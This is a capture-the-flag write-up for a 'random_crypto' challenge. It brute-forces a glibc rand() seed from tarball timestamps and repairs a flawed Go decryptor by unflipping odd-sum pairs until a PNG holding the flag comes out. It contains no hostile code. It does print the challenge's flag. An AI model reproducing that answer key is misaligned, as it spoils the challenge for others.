The decryption program needs to reproduce the sequence of rand() values that was used during the encryption. (Or so I thought—more details below.) I thought about reimplementing the Glibc random number generator, but it's more complicated than just a simple linear congruential generator. Instead, I wrote a helper program in C that just outputs a sequence of random numbers, given a seed on the command line, and read its output from the Go program.

randhelper.c

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
	int seed;

	if (argc < 2) {
		return 1;
	}
	seed = atoi(argv[1]);
	srand(seed);
	for (;;) {
		printf("%d\n", rand());
	}
	return 0;
}

I tested the program by using the binary to generate my own ciphertext with a known seed, then decrypt it.

$ echo "this is a flag" > flag
$ date +%s; ../randCrypt
1573368833
1/1798
2/1798
3/1798
...
1797/1798
$ ./decrypt 1573368833 crypt 
1573368833 "this is a flag\n\x00"

Now I needed to guess the challenge's original seed timestamp. I anchored the search around the timestamps in the challenge tarball. The xargs trick is a nice way to run several copies of a program in parallel and make effective use of all your CPU cores.

$ TZ=UTC tar tvf random_crypto_c9079421d1a3b9be4ba9a5057fcbd2a2ca969985b64f6c757d612dc34fffcc27.tar.gz
-rw-r--r-- alisson/alisson 8540402 2019-10-14 18:37 crypt
-rw-r--r-- alisson/alisson   13256 2019-10-14 18:37 randCrypt
$ date -d '2019-10-14 18:37 UTC' +%s
1571078220
$ for offset in $(seq 0 1200); do echo $((1571078220+$offset)); echo $((1571078220-$offset)); done |
	xargs -P 8 -I xx ./decrypt xx ../crypt | tee solve.log
1571078219 no
1571078218 no
1571078220 no
1571078220 no
1571078222 no
1571078223 no
1571078221 no
...
1571078206 no
1571078233 "\x01\x00\x01\x00\x01\x00\x01\x00"
1571078234 no
1571078207 no
...

This search was initially running too slowly, so I had patched decrypt.go to only decrypt the first 8 bytes. As you can see, most guesses do not decrypt to a valid byte string, and even most of those that do, are not anything meaningful. I let the search run and then visually inspected the non-failure cases in solve.log.

$ grep -h -v ' no$\|\\x00\\x00' solve.log
1571078138 "\b\x05\x04\x05\x00\x01\x01\x01"
1571078340 "\r\x04\t\x00\x01\x00\x02\x01"
1571078396 "\xd99\x95\a\x17\x03$\x10"
1571077909 "D('#\x06\x05\r\x05"
1571078871 "\x89PNG\r\n\x1a\n"
1571079010 "6\x0e%\x02\x05\x01\t\x04"
1571077224 "6\x0e%\x02\x05\x01\t\x04"
1571079378 "\x1b\a\x12\x01\x02\x01\x04\x02"

The "\x89PNG\r\n\x1a\n" match immediately jumps out, because that's a PNG header. I patched the decrypt program again to process all the bytes and write the output directly to a file. The result resembles a PNG file:

$ file crypt-bad1.png
crypt-bad1.png: PNG image data, 720 x 350, 8-bit/color RGBA, non-interlaced
$ identify crypt-bad1.png
crypt-bad1.png PNG 720x350 720x350+0+0 8-bit sRGB 14444B 0.000u 0:00.000

But no graphics software will open it, because it is somehow corrupted. Knowing something about the PNG format, I wrote a hacky script to extract the pixel data (uncompressed contents of IDAT chunks) to have a look at it.

png

#!/usr/bin/env python

import struct
import sys
import zlib

def read_chunk(f):
    length = f.read(4)
    length, = struct.unpack(">L", length)
    type = f.read(4)
    data = f.read(length)
    crc = f.read(4)
    crc, = struct.unpack(">L", crc)
    return length, type, data, crc

filename = sys.argv[1]
out_filename = sys.argv[2]

pixels = ""
with open(filename, "rb") as f:
    sig = f.read(8)
    print repr(sig)
    while True:
        length, type, data, crc = read_chunk(f)
        if type != "IDAT":
            print length, type, repr(data)
        else:
            pixels += data
            print length, type
        if type == "IEND":
            break

out = open(out_filename, "wb")
dec = zlib.decompressobj()
i = 0
while i < len(pixels):
    data = dec.decompress(pixels[i:i+1])
    out.write(data)
    i += 1
data = dec.flush()
out.write(data)

The output of the program shows that at least one problem with the file is that the zlib stream representing the compressed pixel data has an incorrect checksum, indicating some kind of corruption:

$ ./png message.png message.data
'\x89PNG\r\n\x1a\n'
13 IHDR '\x00\x00\x02\xd0\x00\x00\x01^\x08\x06\x00\x00\x00'
8192 IDAT
6182 IDAT
0 IEND ''
Traceback (most recent call last):
  File "./png", line 37, in 
    data = dec.decompress(pixels[i:i+1])
zlib.error: Error -3 while decompressing: incorrect data check

The problem was that my decryption algorithm was not completely correct, but I did not realize that right away. I thought perhaps the challenge authors had deliberately corrupted the file as a final step to overcome. A nice trick for inspecting uncompressed graphics is to save them with a ".data" filename extension and open them in the GIMP. You'll get a dialog that allows you to explore different settings of height/width and pixel format.

The GIMP "raw image data" file open dialog.

There is clearly some data there, but it doesn't look like much. The rightward drift of the repeating patterns is caused by the PNG filter which adds an extra byte at the beginning of each row. Many of the rows are filtered using the Sub filter, which means most pixels are stored as the difference from the previous pixel. A solid white row, for example, would be stored as a single white pixel followed by a row of transparent pixels (you can see that happening in the upper left of the screenshot). I wrote another hacky script to undo the filtering and got some barely intelligible data. It's still corrupted, but it clearly contains the flag—all flags in this contest started with "CTF-BR".

An image showing the upper 20% or so of a flag, glitched below that.

I decided the problem must be in the decryption program. Take a closer look at this fragment:

		r := rands[iterationCount - 1 - i]
		t := (r % len(cfile)) | 1
		cfile[t].Xor(cfile[t], &one)

		for j := 0; j < len(cfile); j += 2 {
			// cfile[j]   == a + b
			// cfile[j+1] == a - b
			// (a + b) + (a - b) == 2 * a
			var a big.Int
			a.Add(cfile[j], cfile[j+1])
			a.Div(&a, &two)
			cfile[j+1].Sub(cfile[j], &a)
			cfile[j].Set(&a)
		}

The calculation (a+b) + (a−b) always results in an even number. Therefore every pair in cfile should sum to an even number except for one, the one that was randomly chosen to have a bit flipped. I tested and there was indeed only one odd sum during each iteration—but not where the rands array expected it. I still am not sure what went wrong; obviously a divergent implementation of rand could be the culprit, but in that case even the iterationCount would have been incorrect and produced nothing close to a working output file. Anyway, I realized that I didn't actually need to know the rand() sequence to know which bit to unflip, I only needed to look for the pair with the odd sum, and flip that one:

		// r := rands[iterationCount - 1 - i]
		// t := (r % len(cfile)) | 1
		// fmt.Fprintf(os.Stderr, "xor %d\n", t)
		// cfile[t].Xor(cfile[t], &one)

		for j := 0; j < size; j += 2 {
			// cfile[j]   == a + b
			// cfile[j+1] == a - b
			// (a + b) + (a - b) == 2 * a
			var a big.Int
			a.Add(cfile[j], cfile[j+1])
			if a.Bit(0) != 0 {
				cfile[j+1].Xor(cfile[j+1], &one)
				a.Add(cfile[j], cfile[j+1])
			}
			a.Div(&a, &two)
			cfile[j+1].Sub(cfile[j], &a)
			cfile[j].Set(&a)
		}

With that change, I finally got a working image and the flag, CTF-BR{p4Ri7Y_1S_s0_1mP074Nt_iN_In736ErS}.

An image of text, "CTF-BR{p4Ri7Y_1S_s0_1mP074Nt_iN_In736ErS}".

I was surprised that I had gotten so close to a working output image with a malfunction like that in the decryption program. It may be because, at least half the time, the bit flip has no effect on the output. The division by 2 results in the same output, even without taking the bit flip into account, whenever the original sum a+b is even.

input		transformed with bit flip		inverted without bit flip
`a`	`b`	`x` = `a`+`b`	`y` = (`a`−`b`)⊕1	(`x`+`y`)/2	`x`−(`x`+`y`)/2	ok?
2	4	6	−1	2	4	✅
2	5	7	−4	1	6	❌
2	−4	−2	7	2	−4	✅
2	−5	−3	6	1	−4	❌
−2	4	2	−5	−2	4	✅
−2	5	3	−8	−3	6	❌
−2	┈4	−6	3	−2	−4	✅
−2	┈5	−7	2	−3	−4	❌

Update: After reading the organizers' writeup, I see what my misunderstanding was and how I arrived at the solution despite it. The complicated calc_iteration_count(r) function is just optimized code for r % 4011. My brute-force timestamp search didn't find the correct random seed, it just happened to find a seed whose first random output had the correct residue mod 4011. That explains why (seemingly) the first random number was correct but all the following ones were wrong. Then, the fact that the brute-force search only looked at the first 8 bytes meant that I was not looking at the majority of the file, where the incorrectly placed bit flips would have had an effect. This challenge didn't require guessing the seed. Just keep iterating, flipping the odd pair each time, until you get all valid byte values.